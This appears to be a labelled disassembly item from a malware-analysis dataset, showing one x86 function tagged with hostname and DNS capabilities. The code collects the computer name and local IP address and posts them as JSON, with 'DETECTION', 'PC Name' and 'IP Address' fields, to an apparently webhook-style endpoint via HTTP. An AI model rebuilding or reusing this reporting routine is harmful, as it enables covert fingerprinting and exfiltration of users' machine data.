Function at 0x10002570
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100ae71e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x558
mov eax, dword [0x100c83c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x484], edx
mov dword [ebp - 0x490], ecx
mov eax, dword [ebx + 8]
mov dword [ebp - 0x480], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x48c], eax
call fcn.100577e0
mov dword [ebp - 0x488], eax
test eax, eax
je 0x10002d84
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x42c], 0x10
push eax
call edi
lea ecx, [ebp - 0x478]
test eax, eax
je 0x10002611
lea eax, [ebp - 0x24]
push eax
jmp 0x10002616
push str.Unknown
call fcn.100021f0
push str.Unknown
lea ecx, [ebp - 0x460]
mov dword [ebp - 4], 0
call fcn.100021f0
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x428]
mov dword [ebp - 0x448], 0x400
push eax
call edi
test eax, eax
je 0x1000268d
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1000268d
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, eax
lea edi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x10002677
sub edx, edi
lea ecx, [ebp - 0x460]
push edx
push eax
call fcn.10006020
mov ecx, dword [esi + 0x10]
mov eax, accept
sub eax, ecx
mov dword [ebp - 0x42c], ecx
cmp eax, 0x21
jb 0x10002da4
cmp dword [esi + 0x14], 0xf
jbe 0x100026b4
mov esi, dword [esi]
mov dword [ebp - 0x484], esi
lea edx, [ecx + 0x21]
mov dword [ebp - 0x498], 0
mov esi, 0xf
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x47c], edx
xorps xmm0, xmm0
lea edi, [ebp - 0x4a8]
movups xmmword [ebp - 0x4a8], xmm0
cmp edx, esi
jbe 0x10002776
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x10002730
mov ecx, accept
mov esi, accept
add ecx, 0x23
push ecx
call fcn.100acd80
add esp, 4
test eax, eax
je 0x10002b5c
mov ecx, dword [ebp - 0x42c]
lea edi, [eax + 0x23]
mov edx, dword [ebp - 0x47c]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x10002770
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x10002751
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x10002da9
jmp 0x10002708
test eax, eax
je 0x1000276e
push eax
call fcn.100acd80
mov ecx, dword [ebp - 0x42c]
add esp, 4
mov edx, dword [ebp - 0x47c]
mov edi, eax
jmp 0x10002770
xor edi, edi
mov dword [ebp - 0x4a8], edi
movups xmm0, xmmword [str._content_:___DETECTION_:_____]
mov dword [ebp - 0x498], edx
mov dword [ebp - 0x494], esi
movups xmmword [edi], xmm0
push ecx
movups xmm0, xmmword [0x100c2598]
push dword [ebp - 0x484]
movups xmmword [edi + 0x10], xmm0
mov al, byte [0x100c25a8]
mov byte [edi + 0x20], al
lea eax, [edi + 0x21]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x47c]
mov byte [edi + eax], 0
push str._n__PC_Name_:__________
lea edx, [ebp - 0x4a8]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x568]
call fcn.10006150
lea ecx, [ebp - 0x478]
mov byte [ebp - 4], 3
push ecx
mov edx, eax
lea ecx, [ebp - 0x550]
call fcn.10006200
push str._n__Application_:______
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x538]
call fcn.10006150
push dword [ebp - 0x48c]
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x520]
call fcn.10006200
push str._n__IP_Address_:________
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x508]
call fcn.10006150
lea ecx, [ebp - 0x460]
mov byte [ebp - 4], 7
push ecx
mov edx, eax
lea ecx, [ebp - 0x4f0]
call fcn.10006200
push str.___embeds_:__image_:_url_:_
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x4d8]
call fcn.10006150
push dword [ebp - 0x480]
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x4c0]
call fcn.10006200
push 0x100c2500
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x444]
call fcn.10006150
mov ecx, dword [ebp - 0x4ac]
add esp, 0x30
cmp ecx, 0xf
jbe 0x100028c6
mov edx, dword [ebp - 0x4c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100028bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b5c
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x4c4]
mov dword [ebp - 0x4b0], 0
mov dword [ebp - 0x4ac], 0xf
mov byte [ebp - 0x4c0], 0
cmp ecx, 0xf
jbe 0x1000291b
mov edx, dword [ebp - 0x4d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002911
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b5c
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x4c8], 0
mov dword [ebp - 0x4c4], 0xf
mov byte [ebp - 0x4d8], 0
cmp ecx, 0xf
jbe 0x10002970
mov edx, dword [ebp - 0x4f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002966
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b5c
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x4f4]
mov dword [ebp - 0x4e0], 0
mov dword [ebp - 0x4dc], 0xf
mov byte [ebp - 0x4f0], 0
cmp ecx, 0xf
jbe 0x100029c5
mov edx, dword [ebp - 0x508]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100029bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b5c
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x4f8], 0
mov dword [ebp - 0x4f4], 0xf
mov byte [ebp - 0x508], 0
cmp ecx, 0xf
jbe 0x10002a1a
mov edx, dword [ebp - 0x520]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002a10
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b5c
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0x510], 0
mov dword [ebp - 0x50c], 0xf
mov byte [ebp - 0x520], 0
cmp ecx, 0xf
jbe 0x10002a6f
mov edx, dword [ebp - 0x538]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002a65
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b5c
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x528], 0
mov dword [ebp - 0x524], 0xf
mov byte [ebp - 0x538], 0
cmp ecx, 0xf
jbe 0x10002ac4
mov edx, dword [ebp - 0x550]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002aba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b5c
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x554]
mov dword [ebp - 0x540], 0
mov dword [ebp - 0x53c], 0xf
mov byte [ebp - 0x550], 0
cmp ecx, 0xf
jbe 0x10002b15
mov edx, dword [ebp - 0x568]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002b0b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002b5c
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x494]
mov dword [ebp - 0x558], 0
mov dword [ebp - 0x554], 0xf
mov byte [ebp - 0x568], 0
cmp ecx, 0xf
jbe 0x10002b6c
mov edx, dword [ebp - 0x4a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002b62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002b62
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100acdb0
add esp, 8
push str.Content_Type:_application_json
push 0
call fcn.10057a70
mov esi, eax
add esp, 8
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0x480], esi
cmp dword [eax + 0x14], 0xf
jbe 0x10002b91
mov eax, dword [eax]
mov edi, dword [ebp - 0x488]
push eax
push 0x2712
push edi
call fcn.1005a830
cmp dword [ebp - 0x430], 0xf
lea eax, [ebp - 0x444]
cmova eax, dword [ebp - 0x444]
push eax
push 0x271f
push edi
call fcn.1005a830
push esi
push 0x2727
push edi
call fcn.1005a830
push edi
call fcn.10057840
push edi
mov esi, eax
call fcn.100577c0
push dword [ebp - 0x480]
call fcn.10057af0
mov ecx, dword [ebp - 0x430]
add esp, 0x30
test esi, esi
jne 0x10002cc3
cmp ecx, 0xf
jbe 0x10002c2d
mov edx, dword [ebp - 0x444]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002c23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002d74
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x44c]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
cmp ecx, 0xf
jbe 0x10002c82
mov edx, dword [ebp - 0x460]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002c78
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002d74
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x464]
cmp ecx, 0xf
jbe 0x10002cbc
mov edx, dword [ebp - 0x478]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002cb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002d74
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov al, 1
jmp 0x10002d86
cmp ecx, 0xf
jbe 0x10002cf7
mov edx, dword [ebp - 0x444]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002ced
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002d74
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x44c]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
cmp ecx, 0xf
jbe 0x10002d48
mov edx, dword [ebp - 0x460]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002d3e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002d74
push ecx
push edx
call fcn.100acdb0
add esp, 8
mov ecx, dword [ebp - 0x464]
cmp ecx, 0xf
jbe 0x10002d84
mov edx, dword [ebp - 0x478]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002d7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002d7a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100acdb0
add esp, 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100acd72
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100011b0
call fcn.10001110
int3